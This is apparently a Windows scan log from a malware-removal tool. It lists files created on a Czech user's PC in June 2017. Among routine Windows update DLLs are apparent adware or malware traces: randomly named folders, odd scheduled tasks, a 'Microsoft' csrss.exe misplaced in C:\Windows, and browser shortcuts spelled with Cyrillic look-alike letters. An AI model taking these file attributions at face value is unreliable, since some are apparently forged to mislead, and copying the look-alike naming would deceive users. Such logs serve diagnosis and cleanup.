2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH () C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:12 - 2017-06-29 18:43 - 00003164 _____ () C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 16:10 - 2017-07-03 21:41 - 00016682 _____ () C:\Windows\System32\Tasks\eStark
2017-06-29 16:09 - 2017-06-29 17:38 - 00000000 ____D () C:\Program Files (x86)\UCBrowser
2017-06-29 16:08 - 2017-07-03 10:49 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D () C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-07-03 10:48 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-06-29 16:07 - 2017-07-01 22:16 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-06-29 16:07 - 2017-06-30 15:19 - 00000000 ____D () C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 16:07 - 2017-06-29 16:24 - 00000270 __RSH () C:\ProgramData\ntuser.pol
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D () C:\Program Files\4SYXRXP5F6
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, http://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ () C:\Windows\libcurl-4.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS () C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS () C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS () C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D () C:\Program Files\0KIQQIA15D
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ () C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ () C:\Windows\uninstaller.dat
2017-06-24 14:30 - 2017-06-24 14:43 - 00000000 ____D () C:\Users\Uzivatel\Documents\Argo
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ () C:\Windows\system32\Drivers\cfidsk.sys
2017-06-16 16:56 - 2017-06-02 10:28 - 02317824 _____ (Microsoft Corporation) C:\Windows\system32\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:28 - 02222080 _____ (Microsoft Corporation) C:\Windows\system32\mssrch.dll
2017-06-16 16:56 - 2017-06-02 10:10 - 00733696 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-06-16 16:56 - 2017-06-02 10:09 - 01549824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:09 - 01400320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssrch.dll
2017-06-16 16:56 - 2017-05-14 22:19 - 25738752 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-06-16 16:56 - 2017-05-14 21:55 - 05975040 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-06-16 16:56 - 2017-05-14 21:11 - 20274688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-06-16 16:56 - 2017-05-14 20:54 - 15252992 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:52 - 03240960 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-06-16 16:56 - 2017-05-14 20:44 - 04549120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-06-16 16:56 - 2017-05-14 20:30 - 13664768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:15 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-06-16 16:56 - 2017-05-12 20:26 - 05547752 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 20:22 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\usp10.dll
2017-06-16 16:56 - 2017-05-12 20:07 - 04001000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntkrnlpa.exe
2017-06-16 16:56 - 2017-05-12 20:07 - 03945704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 19:52 - 03222528 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-06-16 16:56 - 2017-05-10 17:29 - 14183936 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2017-06-16 16:56 - 2017-05-10 17:14 - 02651136 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-06-16 16:56 - 2017-05-10 17:12 - 12880896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2017-06-16 16:56 - 2017-05-09 17:30 - 00757248 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-06-16 16:56 - 2017-04-28 00:50 - 03550208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_47.dll
2017-06-16 16:56 - 2017-04-12 15:05 - 04296704 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_47.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00778240 _____ (Microsoft Corporation) C:\Windows\system32\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00491520 _____ (Microsoft Corporation) C:\Windows\system32\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00288256 _____ (Microsoft Corporation) C:\Windows\system32\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00115200 _____ (Microsoft Corporation) C:\Windows\system32\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00099840 _____ (Microsoft Corporation) C:\Windows\system32\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00075264 _____ (Microsoft Corporation) C:\Windows\system32\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\msshooks.dll
2017-06-16 16:55 - 2017-06-02 10:11 - 00591872 _____ (Microsoft Corporation) C:\Windows\system32\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 10:11 - 00249856 _____ (Microsoft Corporation) C:\Windows\system32\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 10:10 - 00113664 _____ (Microsoft Corporation) C:\Windows\system32\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 10:09 - 00666624 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00337408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00197120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00104448 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00059392 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00034816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 09:58 - 00427520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 09:58 - 00164352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00086528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 09:57 - 00009728 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msshooks.dll
2017-06-16 16:55 - 2017-05-21 06:28 - 00154856 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2017-06-16 16:55 - 2017-05-21 06:28 - 00095464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
2017-06-16 16:55 - 2017-05-21 06:24 - 01460736 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 01212928 _____ (Microsoft Corporation) C:\Windows\system32\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00730624 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00690688 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00463872 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00345600 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00312320 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00210432 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00190464 _____ (Microsoft Corporation) C:\Windows\system32\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00135680 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00123904 _____ (Microsoft Corporation) C:\Windows\system32\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00043520 _____ (Microsoft Corporation) C:\Windows\system32\cryptbase.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028672 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:24 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00690688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00666112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00553472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00342528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00261120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00254464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00141312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00082944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
2017-06-16 16:55 - 2017-05-21 05:55 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:48 - 00291328 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00159744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00129536 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-06-16 16:55 - 2017-05-21 05:47 - 00030720 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
2017-06-16 16:55 - 2017-05-21 05:46 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:42 - 00036352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cryptbase.dll
2017-06-16 16:55 - 2017-05-16 20:19 - 00394448 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-06-16 16:55 - 2017-05-16 19:35 - 00346320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-06-16 16:55 - 2017-05-14 22:46 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 22:46 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
2017-06-16 16:55 - 2017-05-14 22:28 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00417792 _____ (Microsoft Corporation) C:\Windows\system32\html.iec
2017-06-16 16:55 - 2017-05-14 22:27 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 22:26 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-06-16 16:55 - 2017-05-14 22:24 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-06-16 16:55 - 2017-05-14 22:17 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 22:16 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
2017-06-16 16:55 - 2017-05-14 22:12 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 22:10 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-06-16 16:55 - 2017-05-14 22:01 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
2017-06-16 16:55 - 2017-05-14 21:57 - 00489984 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 21:48 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 21:47 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-06-16 16:55 - 2017-05-14 21:46 - 00107520 _____ (Microsoft Corporation) C:\Windows\system32\inseng.dll
2017-06-16 16:55 - 2017-05-14 21:42 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
2017-06-16 16:55 - 2017-05-14 21:41 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 21:38 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 21:37 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 21:36 - 00152064 _____ (Microsoft Corporation) C:\Windows\system32\occache.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\html.iec
2017-06-16 16:55 - 2017-05-14 21:22 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 21:21 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 21:20 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-06-16 16:55 - 2017-05-14 21:19 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 21:18 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 21:17 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 21:16 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-06-16 16:55 - 2017-05-14 21:15 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 21:14 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
2017-06-16 16:55 - 2017-05-14 21:12 - 00476160 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
2017-06-16 16:55 - 2017-05-14 21:11 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 21:10 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-06-16 16:55 - 2017-05-14 21:10 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 21:02 - 00416256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 20:57 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-06-16 16:55 - 2017-05-14 20:57 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 20:56 - 00091136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inseng.dll
2017-06-16 16:55 - 2017-05-14 20:53 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
2017-06-16 16:55 - 2017-05-14 20:52 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 20:50 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 20:49 - 00130048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\occache.dll
2017-06-16 16:55 - 2017-05-14 20:42 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-06-16 16:55 - 2017-05-14 20:40 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 20:39 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 20:38 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 20:37 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:27 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-06-16 16:55 - 2017-05-12 20:27 - 00631176 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00706792 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00382696 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:24 - 01732864 _____ (Microsoft Corporation) C:\Windows\system32\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 01163264 _____ (Microsoft Corporation) C:\Windows\system32\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00880640 _____ (Microsoft Corporation) C:\Windows\system32\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00503808 _____ (Microsoft Corporation) C:\Windows\system32\srcore.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00419840 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00405504 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00362496 _____ (Microsoft Corporation) C:\Windows\system32\wow64win.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00215552 _____ (Microsoft Corporation) C:\Windows\system32\winsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00100864 _____ (Microsoft Corporation) C:\Windows\system32\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00063488 _____ (Microsoft Corporation) C:\Windows\system32\setbcdlocale.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00059904 _____ (Microsoft Corporation) C:\Windows\system32\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00050176 _____ (Microsoft Corporation) C:\Windows\system32\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00046080 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00044032 _____ (Microsoft Corporation) C:\Windows\system32\csrsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00041472 _____ (Microsoft Corporation) C:\Windows\system32\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00034816 _____ (Microsoft Corporation) C:\Windows\system32\appidsvc.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00016384 _____ (Microsoft Corporation) C:\Windows\system32\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00013312 _____ (Microsoft Corporation) C:\Windows\system32\wow64cpu.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006656 _____ (Microsoft Corporation) C:\Windows\system32\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006144 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00005120 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-console-l1-1-0.dll
